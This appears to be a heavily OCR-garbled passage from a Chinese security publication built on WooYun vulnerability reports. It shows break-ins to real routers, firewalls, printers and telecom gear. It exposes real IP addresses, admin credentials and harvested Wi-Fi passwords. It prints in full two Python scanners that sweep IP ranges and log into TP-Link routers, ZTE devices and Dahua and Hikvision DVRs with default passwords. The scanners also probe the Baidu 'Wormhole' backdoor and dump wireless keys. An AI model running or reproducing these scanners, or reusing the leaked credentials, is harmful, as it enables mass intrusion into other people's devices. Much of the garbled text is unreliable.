BESECEER S web BRb5U RAFEEE BN T — R RR5E0<S. BREM

ZR0E 9 netscreen

zet admin name “netzcreen”
zet admin password “HEVIMZrwMUzP crkG5sWIHACtqkAibn®™

zet admin user "lowkey” password "nFl17GZrdJiZEchilV=JARSDtyFCEln” prlwwwmooyun org
zet ad.nun por‘t SDBB

2-2-4
ZEhE web &E #EEOEE X VPN EE:

List 20 ¥ per page

List | ALL(8) ¥ Interfaces | Few | Tunnel IF
Name ip/ k Zone Type Link PPPoE Configure

ethernet0/0 172.30.0.1/24 Trust Layer3 up - Edit
ethernet0/1 61.177.77.154/30 Untrust Layer3 Up = Edit
ethernet0/2 223.112.178.18/28 Untrust Layer3 up - Edit
ethernet0/3 172.30.254.254/24 Trust Layer3 Down = Edit

tunnel.1 unnumbered Trust Tunnel uUp - Edit

tunnel.2 unnumbered Untrust Tunnel Up = Edit

tunnel.3 unnumbered Trust Tunnel uUp - Edit

vlan1 0.0.0.0/0 VLAN Layer3 Down = Edit

WWW.WOO0YUN.org

2-2-5
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List 20 ¥ pper page

List | ALL(8) v [Interfaces [Tunnel IF

Name IP/Netmask Zone Type Link PPPoE Configure
ethernet0/0 172.30.0.1/24 Trust Layer3 Up Edit
ethernet0/1 61.177.77.154/30 Untrust Layer3 up Edit
ethernet0/2 223.112.178.18/28 Untrust Lavyerd Up Edit
ethernet0/3 172.30.254.254/24 Trust Layer3 Down Edit
tunnel.1 unnumbered Trust Tunnel Up - Edit
tunnel.2 unnumbered Untrust Tunnel Up Edit
tunnel.3 unnumbered Trust Tunnel up - Edit
vlan1 0.0.0.0/0 VLAN Layerd Down = Edit

Www.wooyun.org
2-2-6

ZIEFHETI A MAY IP #HTSE.

B55R 61.177.77.154 MOZATARINGIEH O, Hi7EAY NBR EEESS, guest/guest 551

SR ATEREMRATE YY-2012 KRR HAYHIE NBR Bt EEB TR 2%

HIRRA R, IX iR S MEEIE, AR LB ELADAY.

[ C [ b#g//61.177.77.154:4430/nbr htm (o, |
B z5Em CPU: 1% Fi7g: 18% TEER A & 2015-12-22 13:56:41
( = 73 NBR15[)UG|RGOS10‘3[4011]p1.Release[ﬂZB]BJ ‘
v REiThRS N — ————— VI ——
SRIRE | TT v| TOP10 HAE &4l Y% R SERA|TA v RETOPI0 &, v % ¥
SEEIEE R
B B THABWAES) |19 4M0ps205%) 1113Mops(119%) ¥ aEEE pE[ops v s
- . 15449 2Kbps / 128360 .,
[OPUERRR [ aEaE . e e
HEOEER b
=5 13337 5Kbps / 111766
AR : O ves oy 10 e
. 12854 TKbps / 11299K .
I @ EEkmks bos LR/ Ef
2575.7Kops / 145.7KD
s @ rewTPRE 24 i
ps
. 11600 4Kbps / 1287KD
50 SeEE . 8/
o o oo V14961KDS £ 16903K
LRIAP| T v | RETOPI0) 24 v Z # RAPRSEHTOP0 By v K
#r AP 1Pt RE|Kops v | #1 AP Pt S
. R
1 hian 1921680239 1 12-3Kbps £ 12131Kep 1 192168034 182.168.0.34 701
5
0 92468020 192185020 -2744-7Kbpssf 14693K0p | 2 192.168.020 182.168.0.20 408
3 M92468.095  192168.095 |26058Kbps / 175.8Kbps 3 N92i68048 192.168.0.48 388
P - _z47a.aKnpspsf M1B1KD 4 192168054 182.168.0.54 2
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223.04.88.200:80 Fil
223.94,88.200:8080 Fi
223,04,88.200:3128 Fi7

223.94.33.2%?%%%? Oyun.org

2-2-8
Z e BiR8ER 8081 im[ &R
1 223.94.88.200:8081/wh/servlet/MainServer?doNothing=Y&nextPage=/login jsp&flag=&wp id=0&trivallog=0 (ke @

S hamasmAs AL A4 Dbl I A5 B2 24

orvearrn  ABZ700 FERRREEER

BAWE HBE
EXEld @[RES

FP& wujianzhong TG eesnnenns | WWW_WOO@\.Org
2-2-9

FEMET—T,E88E 50 wujianzhong.. — iR ERBERSRIXE RS FRLAEH T—
T %8 123456.
RRFASBEER HERER BE88T wooyun123

BRI
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3. PICC HEIARASRIE-PEAFRSK

BIMRITIRICERS © http://saleschannel.e-picclife.com/

Y2z CSMS XHEZS - http://saleschannel.e-picclife.com:8081/
13%2 : saleschannel.e-picclife.com

IP:118.126.6.196

wmAER :

PORT STATE SERVICE
21/tcp  open ftp
22/tcp  open ssh

25/tcp  closed smtp

46 70 / K125 01 AXNBHME R e Yol 2358, VIZIE FEAREH S .


http://static.wooyun.org/wooyun/upload/201512/2214132634815d2202aef477a854fcb75991a646.png
http://static.wooyun.org/wooyun/upload/201512/221416593569338385b2ec3158c91508e7111e53.png
http://static.wooyun.org/wooyun/upload/201512/2214132634815d2202aef477a854fcb75991a646.png
http://static.wooyun.org/wooyun/upload/201512/221416593569338385b2ec3158c91508e7111e53.png
http://static.wooyun.org/wooyun/upload/201512/2214132634815d2202aef477a854fcb75991a646.png
http://static.wooyun.org/wooyun/upload/201512/221416593569338385b2ec3158c91508e7111e53.png

o2z HHRM 24k | 5B

80/tcp open http

110/tcp  closed pop3

443/tcp open  https

8081/tcp open blackice-icecap
33899/tcp closed unknown

BilZASeREERs SSH 1B - ( BISE—= Ay SSH FIFTER )

& 2-2-14

BRINIEREZEISES : root : root23 , FINER :

builder@chamuth.juniper.net:/volume/build/jun

& 2-2-15
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B 23 ( TELNET) ig[0i31E

F1TH REMARES

=Y

*8 : Bn. $%

pgilt : http://www.wooyun.org/. http://www.secbook.net

=

FEMSCMES | REMEIRE LEEXA Telnet IRSZHY : LbaN cisco. #= , FER |
BIRET BINRE | ST, BERFRE. REMRMNEKELLIEY telnet
FBAOSEFIXEIRE  REHANRNEH—LHE, RSEIARD : 23

TELNET i&@iRFIA

BRELR

B, 550, /ilE.

traneT A EEET telnet 3REUTUE ( FAST ). 7K& ( MERCIRY ). TP _LINK B&HIESHY

wifi 2583,

root@®92ex ~/wifi

+ X root@92ez: ~wif

root@92e vifi# python get.py

Just m est in the extent permitted by law (~_M)
Restart mys service ...

[Success] Mysql service 1s running ...

Start IP
End IP: 222.

Total 130561 IP...
[Get] 2015-03-14 16:26:06 2 XZ-20140402RYWK_Network xc111111

[Get] 2015-03-14 16:26:06 22 FAST_EC9444 12345678
Insert XZ-20140402RYWK_Network into database success !

Insert FAST_EC9444 into database success !

3-1-1

48 01 / & 125 T AAME B e M S SSi, VIZIH TR &



o2z HHRM 24k | 5B

* Get wifi pwd by Telnet -
€ 5 €& . O hipsocahostaosos

+ | x Getwifi pwd by Telnet

£2796 %
%3 1ot ssiD wifiZs A% it s EER T
2796 222: 130 FAS  CB( 5 gn 126 B 5 ﬁu’ e 2015-03-14 16:27:21
2795 222 4 MERCI 3z 30 han 588 = i i wf 20150314 16:27:11
2704 22 85 MERCI 26 08 1 0 B B # i 2015-03-14 16:27:06
2793 2227 184 j 8: 138 m B L B 2015-03-14 16:26:52
2790 2227 199 MERCI 14 58 8t 120 [ i L i 2015-03-14 16:26:37
2791 222° 157 MERCI 14 EO 8t 21 e ‘ w i 2015-03-14 16:26:37
2792 220 m TRU OFE 38 5208 0520 o § ﬁn’ s 2015-03-14 16:26:37
2789 222, o4 TRUL OBl 2A yug 119 = § ﬁn’ s 2015-03-14 16:26:36
2788 222; 200 FAS 350 1 zhi hui = § ﬁn’ s 201503-14 16:26:21
2787 222 5 FAS o ) 1 a8 B i 5 wf 2015-03-14 16:26:06
2786 22, 29 XZ-201404  YWK_Network xe 1 B B # i 2015-03-14 16:26:06
- —
2785 2224 183 su glou 136 5251 am | FORE EELERSER 20150313 18:13:03
2784 224 120 f 98 321 am | FOTE BELERSRR | 20150313 18:12:43
2783 271t 175 lin  ayu3 138 9091 e ‘ w i 20150313 18:12:38
2782 271t 153 N shou 1314, o § 5 s 20150313 18:11:47
2781 271 15 ela E = § ﬁn’ s 20150313 18:11:34
- ——
2780 224 42 FAST 2t 57 135 5091 @ | F B BB CRESE e 2015-03-13 18:11:10
2779 271t 1ed FAS 5C A 12 890 | § 5 i 2015-03-13 18:11:05
" ——
2778 2224 236 I EERT mg | WA OBECCREER e 2015-03-13 18:10:34
" —
2777 2224 182 Q 7€ 00 mg | WA BECREER e 20150313 18:10:33

M« 1 j140m GO w» M

3-1-2

1. 1R{E TPLINK RFUEM=RF AR ETMIRE wifi 2563

FAFE B TEBRES telentkey.py REHIT :

python telnetkey.py 1.1.1.1-1.1.2.1 200

https://github.com/kbdancer/TPLINKKEY/blob/master/telnetkey.py

#!/usr/bin/env python

# coding=utf-8

# code by 92ez.com

# last modify time 2016-02-19

# python telnetkey.py 1.1.1.1-1.1.2.1 200

from threading import Thread
import telnetlib

import subprocess

import requests

import Queue

import time

import json

import sys

import re

N
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#ip to num
def ip2num(ip):
ip = [int(x) for x in ip.split(".")]
return ip[0] << 24 | ip[1] << 16 | ip[2] << 8 | ip[3]

#num to ip
def num2ip(num):

return '%s.%s.%s.%s' % ((num & 0xff000000) >> 24,(num & 0x00ff0000) >> 16,(num & 0x0000ff00) >> 8,num
& 0x000000ff)

#get list
def ip_range(start, end):

return [num2ip(num) for num in range(ip2num(start), ip2num(end) + 1) if num & 0xff]

#main function
def bThread(iplist):
threadl =[]
queue = Queue.Queue()
hosts = iplist
i=0
for host in hosts:
queue.put([host,j])
j+=1

threadl| = [tThread(queue) for x in xrange(0, int(sys.argv[2]))]
for tin threadl:

t.start()
for tin threadl:

t.join()

#create thread
class tThread(Thread):
def __init__(self, queue):
Thread.__init__(self)

self.queue = queue

def run(self):
while not self.queue.empty():
host = self.queue.get()
try:
getinfo(host)
except Exception,e:

continue
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def getinfo(hostinfo):

host = hostinfo[0]
index = hostinfo[1]
username = "admin"
password = "admin"
telnetTime =5

cmdTime =3

try:
t = telnetlib.Telnet(host, timeout = telnetTime)
#login
t.read_until("username:", cmmdTime)
t.write(username + "\n")
t.read_until("password:", cmdTime)

t.write(password + "\n")

#start exec cmd to get wifi info
t.write("wlctl show\n")
t.read_until("SSID", cmdTime)

wifiStr = t.read_very_eager()

#start exec cmd to get macaddree info
t.write("lan show info\n")
t.read_until("MACAddress", cmdTime)

lanStr = t.read_very_eager()

#close connection

t.close()

if len(wifiStr) > 0:

#clear extra space

wifiStr = "" join(wifiStr.split())

#get SID KEY MAC

SID = wifiStr[1:wifiStr.find('QSS')].encode('utf8')

KEY = wifiStr[wifiStr.find('Key=") + 4:wifiStr.find('cmd')].encode('utf8') if wifiStr.find('Key=') != -1 else

T

MAC = lanStr[1:lanStr.find('__")].encode('utf8').replace('\n',")

currentTime = time.strftime('%Y-%m-%d %H:%M:%S' time.localtime(time.time()))

print '['+ str(index) +'/'+ str(TOTALIP) +'][Get] "+currentTime +' '+host+' '+SID+' '+KEY +'
'+MAC

N
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except:

pass

if __name__=='__main__"

print 'Just make a test in the extent permitted by law  (*_A)'

startlp = sys.argv[1].split('-')[0]
endlp = sys.argv[1].split('-')[1]
iplist = ip_range(startlp, endlp)

global TOTALIP

TOTALIP = len(iplist)

print "\n[Note] Total '+str(TOTALIP)+" IP...\n"
print '[Note] Running...\n'

bThread(iplist)

2, FHEMEBRAFESSRANREEENA

https://github.com/kbdancer/weakDeviceScan/blob/master/superScan.py

#!/usr/bin/env python

# coding=utf-8

# code by 92ez.com

# last modify time 2016-02-19

# python dvrlogin.py 1.1.1.1-1.1.2.1 200

import threading
import telnetlib
import requests
import Queue
import time
import json
import sys

import re

#ip to num
def ip2num(ip):
ip = [int(x) for x in ip.split(".")]
return ip[0] << 24 | ip[1] << 16 | ip[2] << 8 | ip[3]

#num to ip
def num2ip(num):

return '%s.%s.%s.%s' % ((num & 0xff000000) >> 24,(num & 0x00ff0000) >> 16,(num & 0x0000ff00) >> 8,num

N
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& 0x000000ff)

#get list
def ip_range(start, end):

return [num2ip(num) for num in range(ip2num(start), ip2num(end) + 1) if num & 0xff]

#main function

def bThread(iplist):

threadl =[]
queue = Queue.Queue()
for host in iplist:

queue.put(host)

for x in xrange(0, int(sys.argv[2])):

threadl.append(tThread(queue))

for tin threadl:
t.start()
for tin threadl:

t.join()

#create thread
class tThread(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)

self.queue = queue

def run(self):

while not self.queue.empty():
host = self.queue.get()
try:
getinfo(host)
except:

continue

def getinfo(host):

ports = [80,81,82,83,84,85,86,87,88,89,90]

checkTplink(host)

check9806H(host)
checkWormhole(host)
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for k in ports:
checkDahuaDVR(host,str(k))
checkHKDVR(host,str(k))

def checkTplink(host):

telnetTime =5

cmdTime =3

try:
t = telnetlib.Telnet(host, timeout = telnetTime)
#login
t.read_until("username:", cmmdTime)
t.write("admin\n")
t.read_until("password:", cmdTime)

t.write("admin\n")

#start exec cmd to get wifi info
t.write("wlctl show\n")
t.read_until("SSID", cmdTime)

wifiStr = t.read_very_eager()

#start exec cmd to get macaddree info
t.write("lan show info\n")
t.read_until("MACAddress", cmdTime)

lanStr = t.read_very_eager()

#close connection

t.close()

if len(wifiStr) > 0:

#clear extra space

wifiStr = "" join(wifiStr.split())

#get SID KEY MAC

SID = wifiStr[1:wifiStr.find('QSS')].encode('utf8')

KEY = wifiStr[wifiStr.find('Key=") + 4:wifiStr.find('cmd')].encode('utf8') if wifiStr.find('Key=') != -1 else

TR
MAC = lanStr[1:lanStr.find('__")].encode('utf8').replace('\n',")
print 'Found [Router] [TPLINK] Host : '+ host +':23 Info : '+ SID +' '+ KEY +' '+ MAC
except:
pass

N
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def checkDahuaDVR(host,port):
aimurl = 'http://'+ host +':'+ port +'/RPC2_Login'
datal =
'{"method":"global.login","params":{"userName":"admin","password":"","clientType":"Web3.0"},"id":10000}'
try:
req = requests.post(url = aimurl,data = datal,timeout = 5)

sessionJSON = json.loads(req.text)

if len(str(sessionJSON['session'])) > 0:
print  'Found [DVR] [Dahua] Host : http://'+ host +':'+ port + " Info : session: " +

str(sessionJSON['session'])

except:

pass

def checkHKDVR(host,port):
aimurl = 'http://admin:12345@'+ host +':'+ port

try:
req = requests.get(url= aimurl +'/ISAPI/Security/userCheck',timeout = 5)
result = reqg.text
status = re.findall(r'<statusValue>(.*)</statusValue>', result)
if status[0] == '200":
print 'Found [DVR] [Hikvision] Host : http://'+ host +':'+ port +' Info : Login Success!'
else:
print 'Found [DVR] [Hikvision] Host : http://'+ host +':'+ port +' Info : Login Failed!'
except:
pass
def check9806H(host):
try:

t = telnetlib.Telnet(host, timeout = 5)
t.read_until("9806", 5)

firstStr = t.read_very_eager()

if len(firstStr) > 0:
twrite("\n")
t.read_until("Login:", 5)
t.write("admin\r\n")
t.read_until("Password:", 5)
t.write("admin\r\n")

t.read_until("\n", 5)

5500 / & 125 0T AXNHME R e Yol 258, VIZI FEAREH S .




o2z HHRM 24k | 5B

time.sleep(5)

loginStr = t.read_very_eager()

resultStr = loginStr.split('>')

if len(resultStr) > 1:
print  'Found [Router] [ZTE 9806H] Host : '+ host +':23 Info : '+ resultStr[0].replace('\r\n',")
else:
print 'Found [Router] [ZTE 9806H] Host : '+ host +':23 Info : Login Failed.'
else:

t.close()

except Exception,e:

pass

def checkWormhole(host):

aimurl = "http://%s:40310/getserviceinfo?mcmdf=inapp_baidu_bdgjs&callback=jsonp" % (host)
headers = {"Accept": "*/*" "Host": "127.0.0.1","remote-addr": "127.0.0.1","Referer":
"http://www.baidu.com/"}
try:
request = requests.get(url = aimurl,headers = headers,timeout=5)

response = request.content

print 'Found [Android] [Wormhole] Host : '+ host +':40310 Info : '+response

except Exception,e:
return
if _name__=='_main__"

print 'Just make a test in the extent permitted by law (*_A)'

startlp = sys.argv[1].split('-')[0]
endlp = sys.argv[1].split('-')[1]
iplist = ip_range(startlp, endlp)

global TOTALIP

TOTALIP = len(iplist)

print "\n[Note] Total "+str(TOTALIP)+" IP...\n"
print '[Note] Running...\n'

bThread(iplist)

(2352 ) =EHIE : Rexy
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H2T5 SCPREEfH!

E& :BA

*8 : Br. BR

ML : http://www.wooyun.org/. http://www.secbook.net
1. FAST MERCIRY I5HiE telnet A (E iEEN WIFI 13

RIERXRTE 3T TES IPRCE , RITHRESHFE 23 inAEN.

® 1IS PUT Scaner vwl.3 — Coded By ZwelL (=13
Setting
Start 1P : l182.112.9.1 EndIP: I182‘”2’9-255 Thread : |100 Timeout : 5

Pat: 12 [ Tiptouploadfile [ ity on other systems P Scan

[ Update File

| PUT | HTTP banner
NO 0
NO
NO
NO
NO
NO
NO
NO
NO
NO
NO
NO
NO
NO

Ooo0oo0OO0COOQOOODOOO

3-2-1

telnet ips , FRZEKIAZERS admin admin , ZAFHIN :

wlctl show

MERCURY &HI2S , tNE 3-2-2 :

MERCURY (conf >Hwlctl show
Status=Up
SSID=MERCURY_64FF9A
QSS~Enable

SecMode=PSK AUTO-AUTO
Key=a12345678

cmd :SUCC
MERCURY{conf>#
MERCURY Cconf)>#i

3-2-2

FAST &HI8S , a0& 3-2-3 :
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cv Telnet 182.:

AST<{conf >#iuvlctl show
Status=Up
SSID=FAST_32492C

ey=7198230600
cmd :SUCC
AST<{conf >#__

3-2-3

HEFHAINMFREE HEsRE—E—F | BAESE - 7 23 inOFH4A ? If-aEbEEA
BEANAT 23 in AR ? XETFTAETEI IR ? HFEFRA LABRIARMN T .
JREIERIERR

BEH 10 MIFIE |, B 3-2-4 £E 3-2-14 :

Telnet 182.112.8.48

Cconf 2Hwlct]l show

K AUTO=AUTO

HERCURY {conf 28

B 324

¢ Telnet 182.112.8.55

FAST{conf >8wlct]l show
status=lp

AUTO-AUTO
Hey=123456789
cmd :SUCC
FASTCconf 3#

3-2-5
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¢ Telnet 182.112.8.75 "I

FASTCconf d#wlct]l show
Status=lUp
RS 1D=FAST _2BABFE

SK AUTO-AUTO

bR

3-2-6

2, KEBRBITEMNIEIE telnet RIFEETIR(E
BEFENYUIRM telnet ITFEIZHINEE | BUARINIRERS , BEEAM EAEIRED
IR EEHEWRISMIERERERRTS  IFENEEBRIETER  BAERFER

EFIENHL,

BEFTEMNAEREETAM L |, 20E 3-2-15:

JetDirect port:23 oyl

BEAR

Country
223.26.215.147

23
TELMET

23
TELMNET

223.26.215.146
3-2-15

BEFENYUIRM telnet ITFEIZHINRE | BUARINIRERS , BEELMN EAEIRED
EEEETEWRISMFRERERRS , IRFEENEERNEITRERE 3-2-16

Z£E 3-2-18 :

$5 5901 / & 125 T AUAME B e M S SSi, VIZIH TR &



o2z HHRM 24k | 5B

B Telnet 222,31.210.81
for HELFP.

-10/ x|

""" for current settings or "exit" to exit.

===JetDirect Telnet Configuration===
HF JetDirect
Firmuare Uersion
Manufacturing ID
Hardware Address
System Up Time

GEMERAL

Admin Password
System Location
System Contact
SEL state

TICP~IF MAIN
Host Hame

IP Config HMethod
IP Address
Subnet Mask
Default Gateway
Config Server
IFIF Serwver
TFIFP Filename
Domain Name

Pri DHS ZServer

J7934A

u.29.28

29114541 982911
B8:11:0A:CA:B1:8C
21:83:58

: Mot Specified
: Mot Specified
: Mot Specified
: 2

: HPICBEi8C

: USER SPECIFIED
 222.31.218.81

: 255.255.255.128
s 222.31.218.14

: Mot Specified

: Mot Specified

: Mot Specified

: Mot Specified

: Hot Specified

(Read—Only>
(Read—Only>
(Read—0Only>

&N Telnet 222.31.210.81

3-2-16

TCP~IP PRINT OPTIONS

2108 Printing
FTP Printing
IPP Printing
LPD Printing
LPD Banner Page
IPP Job Acct.

ICP-IP LPD QUEUNES

LPD Print Queues
Queue
Queue
Queue

Queue
LPD Default Queue
LPD Queue Strings

Name: RAW Prepend String:

Mame: TEXT Prepend String:
Name: AUTO Prepend String:
Mame: BINPE Prepend String:

: Enabled
: Enabled
: Enabled
: Enabled
: Enabled
|

Processing:RAY
Processing:TEXT
Processing:=AUTO

Proceszing:BINPS

Append String:
Append String:
Append String:

Append String:

: AUTO

TCP~IP RAY PRINT PORTS

TCP-IP ACCESS CONTRO

Allow

ICP-IP OTHER
Syzlog Config
Syslog Server

Syzlog MaxMsg-/Hin

: Enabled
: Hot Specified
: 18

#6070 / & 125 1T
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B8 Telnet 222.31.210.81 =]

IPE/SPH%

IPHA5PX Config Enabled

Print Server Hame NPICABiBC

Address A.AR11BACAB1BC (Read—Only>
Frame Type AUTO

SAF Interval 68 Seconds

Mode NOME CRead—-0Only>

MDE Tree MWame Mot Specified
MDE Context Mot Specified
Job Poll Interval 2 Seconds
PJL Banner Pages Disahled
PJL End-Of-Jobh Moti: Disahled
PJL Toner Low Disahled

APPLETALK

AppleTalk Config Enabled

Mame HPF Laszerdet 5S200LH {Read—0nly>
Zone * CRead-Only>
Print Type 1 HPF Laszerdet CHead-Only>
Print Type 2 LaserWriter C(Head—-Only>
Print Type 3 Mot Specified (Read—-0Only>
Phase 2 CRead-Only>
Status Ready CRead—-0Only>

DLC~LLG

3-2-18

HAIRFREFTEMATLURE ip itk IRETGIAZDESFTEMINSES 2B 3-2-19 :

BN Telnet 222.31.210.81 -0 X
=10/ x|

SUPFPORT

support—contact alpha—numeric string chars
support—number alpha—numeric string chars
support—url alpha—numeric string chars
tech—support—url alpha—-numeric string chars

Examples:
ip: 15.29.44.99 <{ENTER> [sets IP address to 15.29.44.9%9]
idle—timeout: 65 <ENTER: [sets timeout to 65 seconds]
allow: {ENTER> [deletes allow table, selects first element]
allow: 15.29.44.2% {ENTER»> [set allowli] with IP, default mask]
allow: 15.29.48 255_255.248.@ <ENTER» [set allowl2] with subnet mask]
cold-rezet <{ENTER} [zet TGP factory defaultsl]
passud: j71fa j7ifa [zet admin password]
port: 1 <ENTER> [zelects port 1 for banner command]
hanner: 1 {EMNIER> [enables banner pagel
exit <EMTER> [exit]

(Read—-0Only> values may have been automatically set by BOOTP. DHCP or RARP.
To unlock these, tuype "ip-—config manual' to switch to manual configuration.

Tupe "?" for HELF, """ for current settings or “exit" to ewmit,

3-2-19

JFEIENERR
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telnet 222.31.210.81
telnet 219.72.146.143
telnet 219.224.97.26
telnet 218.21.197.217
telnet 211.157.166.67
telnet 211.68.120.7
telnet 210.72.142.78

telnet 219.219.35.81

BERE:

BINRE EXEOAER BERENA ip

3. {RFTEMR T 132 SRS EZ S

REGZEER AEETEEEZ LN XRFRE T FA 2M NEHRIER T 4M,
BENARRT  HEFRIBLBEIBEERE , ENAEE, WL, —2THX , 31
MEBEMEBERIIEE.

LERAEERS  REEHRENARIT RAERMETR , KFURAEW , FHEEFE
BRRT—EERGENTTE AR, Fo08 XA , BRTBHILEFNIZ
AR TIE | AR E—A.

Python GESF , FEJIEREMA—K , WA EX—FFER 23 in0 | RSN , bR
TCEALIEZS | telnet MiZERIEBRBZHIANDT. ME  XNEREZHEEA
REGBREHY,

SR IFEEBER T ?

Ieng , BAL , —KHERY TPLINK, FAST, MERCURY EAEEH, TWIZFR , BT
AWICR , FF , WFGRAA T4

TR HARIIRISE, ROBESZ EENERR S EERIONY | Xt FHEI\K
SAERBENEANHIZ EHERIRRERY. 2243 WEB LUIE | (BEBHHRSIE R
AM—8. FTLA, BER TN AR E.
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—MNHARRIRE telnet RENEAER , REERREA , ASHRESREIRS
BS (MREZEHREMWN FHE. (RETsE8ANEERRE BT EE A
B, FHRBHAIRA. # | XELRERE.

BHOMHRZFARENREN CRERINREERLA IP BEX MIREHE .
BXEBMFET=4550% : [admin,admin],[root,admin],[root,root]. IEFHLMER , iX
FOSBEEB LRSS telnet BOSEHET , S hEWEAS,

¥y WISATRERIMA— P BRETEME , £ , RW 7 — a0 IP

R, AER ? EEREREEE , B 3-2-20 :

3-2-20
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BRTIE , X1 IP EREALHERE TRk | XikiAE ? iR MRIRAT e
TREERIRE , AR ? RICEBEREAONS ? XY |, igtE , —HH—A#t IPEEFE
FHY , HTTP header #—#F , &IFFIHTT. XERB TR , BBHE—AHW , HE.

B TEHRWIERFAT T, &4 IP TS0 |, £/ rootadmin BRI , BT

BARERBENEER |, FERNE 3-2-21 ¢

3-2-21

BHR—igE - 4659 HONET UA5S000 , TEERE M4 PVMD |, iXERHAR ,

NME  BRTRTXFIRENN

http://**.** ** ** /cn/products/fixed-access/colligate-access/ua5000/

SHIRIFE |, IXEGEE— :

££79 HONET UA5000 SV SBERERARRINL 7 HAMERNSE |, BEEFRESWS. vor W5, #iE
T5SS. EHISTBRSISESEATK | RASHMESTERIT  SRES. 8%, T4, PBX,

AN RS TSSO | 1244 GE/FE/E1/GPON/EPON RIZZHE] , IEFATZEIEAN. THEA. Bl
NEZMRA.

UA5000 3743 V5, H.248 F1 SIP 119 , BITCHEIEED PSTN. NGN F IMS , S2#F G/EPON 4B , iHBIE SR FTTx
HBERISEK.

AR IEA

UA5000 Z~{EIS43 ADSL2+ , 3R233 VDSL2 , {3 100M EUSSEIRLATIHE ; EFM G.SHDSL 4 ZEXI48%E |, SR
FAFSHEIEN | SZRF IGMP V2/V3, MVLAN, IPTV , BROFTHIINIEIK A,

42 PYMD %1 IPMD I8 ?
e PVMD EHHEHIESZWIENR ATFEEEH SRR FLING V5 #MYFD H.248
N AYSbEE,

® |PMD =iE IP AVES4bEEHR
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A s PVYMD 2F&m%55 , IPMD EFanlss,

FEHEAN—KE , REATHRE TEXMUE  ARMZENT | Bl EEETE—

MRET , BB/NXEBIEEHRENRET |, WE 3-2-22:

3-2-22

¥ REMNEEIX. RHERRTERENIN BB IAREIERREHER |

— MBI LA,

RAIIEHUEREAR 34 4 G, BinmAREHEEHENRE L TH. E—T , X
REEEWALEHT , BER |, S8,

ERIBBARIEIEHIND ? 2R | RER , IRREN. TERISKER MEEs—a
g

FiE—:

H(EE LERERFRHE T HanDongXinDu_PVMD > IXEFEREAEZ N 2.

(1]
BaiyEE | HanDongXinDu

SREETER
Ml  E  WE e =5 EE o BE adQOYyun.org

3-2-23
BiHREEEEREREN , XMt TEWRE ?
6500 / B 125 i AUBME R A ok 2 2158, VIZ0VH T AREHE.



Fozz HHRM 2245k | 5-E

—
WREH k0@~ X Q8|
_ (8) 835 1A TKHE
WHUNE
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BESAERQ 5
- REIE
Bz MiRds Q mMiEE (.
- O SHRIHE
i HEAER AR || BE ,5:5
RERS e o1 7 ,;m% ft
9 ,ﬁﬁmi A
BEAARE " ) aﬁﬁ - BHER i
(@RRNE 9 @ T BRERG Y EHSR
R
o — '& @mzm
QUIFE
e , WwWw.woovyun
IR RRHE 0 ol
3-2-24

BREITET  BEESNENHAIRT  ERERIW , DBttt 2EREE
Y. TRy, IRIRE AR T | BT EAHME—ET | REREHRES , X MR
BIREFT . GAFHIPYY RFI |, F5EREGK)

ETRBRNZN , LHENGEAEEARE]  MESHEFSEBAL. LERERIK

EEEFRHAEIT | BPARKE FeERTARLar<1E !

Command of user Mode:
cls Clear screen
display Display information
enable Turn on privileged EXEC mode commands #3 T ERANGSHYTET
help Description of the interactive help system
history-command Enable and control the command history function
idle-timeout Display interval of terminal timeout
interactive Enable or disable command execute confirm function
ping Check network connectivity or whether the host is

reachable

quit Exit from current mode and enter prior mode
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scroll Set auto or manual scroll function
smart Enable or disable smart function
switch Switch language mode

telnet Open a telnet connection

terminal Operation of config terminal

tracert Trace route to destination

undo Negate a command or set its defaults

KEEAIER DR ELPIGTRE , BREIFFRIIAMESU , RFHON , 1% reboot 5H5L=E.
BIESWR , RINBN G SAZREERT  AEaHEAMEET. HiT enable TR

Bk 7 IXHE ¢

Command of privilege Mode:

alarm <Group> alarm command group

autosave <Group> autosave command group

backup <Group> backup command group
backup-server Backup information

baudrate Set serial baudrate

clear Clear alarm statistics table

client Users information

config Configuration from terminal

debugging Enable system debugging functions

diagnose Change into diagnose mode

disable Turn off privileged mode commands

display Display information

duplicate <Group> duplicate command group

erase Erase command

event Set event level

ftp FTP user and password configuration
infolevel Set the output level of the information terminal
infoswitch Set output switch of information terminal

load <Group> load command group

log Modify log configuration

loghost Log server configuration operation

monitor Change into monitor mode

patch Patch operation

quit Exit from current mode and enter prior mode
reboot Reboot system or active board or standy board
reset Reset operation

resource System resources(mem,message,cpu)
rollback System rollback command
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save The command of saving immediately
search Search command

serial-mode Set access-mode: console/CQT/112/SPL
set Set the operative time of rollback function
ssh Specify SSH (secure shell) configuration information
syslog Config the syslog information

sysname Set system network name

system <Group> system command group
terminal <Group> terminal command group

time <Group> time command group

timezone Set time zone

undo Negate a command or set its defaults

IGIANG , BB , reboot, config, reset#H , XABMMELHFERXT. 2t , XEI®
B, FERETRII—AINVOHEEEH T —Bi1RE  XEHARAR ? &
52, LERRERR TEE T AR EE R0, [EFNE T EmERIas IP

BR. WidEREE 3-2-25

3-2-25
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e, 2EREEOSN , XBE L reset T, [HIHOFEIEESEITIET.
XERAREE ? — IP BREEAANE ? X7, #F , AT E FTHMERESFEXME

5 BXETMHA , SR MRE.

BSRHEBENE T LA IP R, 2 E IP REEREVIAY. #HT— MR, FikE

RS P, (BRAZRIREEEAD |, 787 REJiE.

ETE 3-2-26 :

Database Structure | Browse Data | EditPragmas  Execute SQL

Table: ‘Jscanlug "‘ @
id ip logtime ifcheck loginsta
| Filter H Filter H Filter H Filter || Filter |
1 1 219, 1 2015-10-04 16:43:28 |1 1
2 2 219, 100 |2015-10-04 16:43:28 |1 0
i 3 219, 19 2015-10-04 16:43:28 |1 0
4 4 219, 29 2015-10-04 16:43:28 |1 0
5 5 219, 28 2015-10-04 16:43:28 |1 1
6 6 219, 2 2015-10-04 16:43:28 |1 0
1 7 219, 2 2015-10-04 16:43:28 |1 1
8 8 219, 25 2015-10-04 16:43:28 |1 1
9 9 219, 2 2015-10-04 16:43:28 |1 0
10 (10 219, 3 2015-10-04 16:43:28 |1 1
n mn 219, 108 |2015-10-04 16:43:28 |1 1
12 12 219, 109 |2015-10-04 16:43:28 |1 0
13 13 219, 6 2015-10-04 16:43:28 |1 1
<] 1-140f1882 5] WWWWUUW
3-2-26

AT —2ET 1842 MEE , BNHRAT —= , BRHR | XEETFEREER |
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BBABEBIEHINN B Z DR ?
ek FRIAICEIUFE R, SRUE 3-2-27 :
o | & b ]

soL1 B

1 select * from scanlog where loginsta=1|

id ip logtime ifcheck loginsta
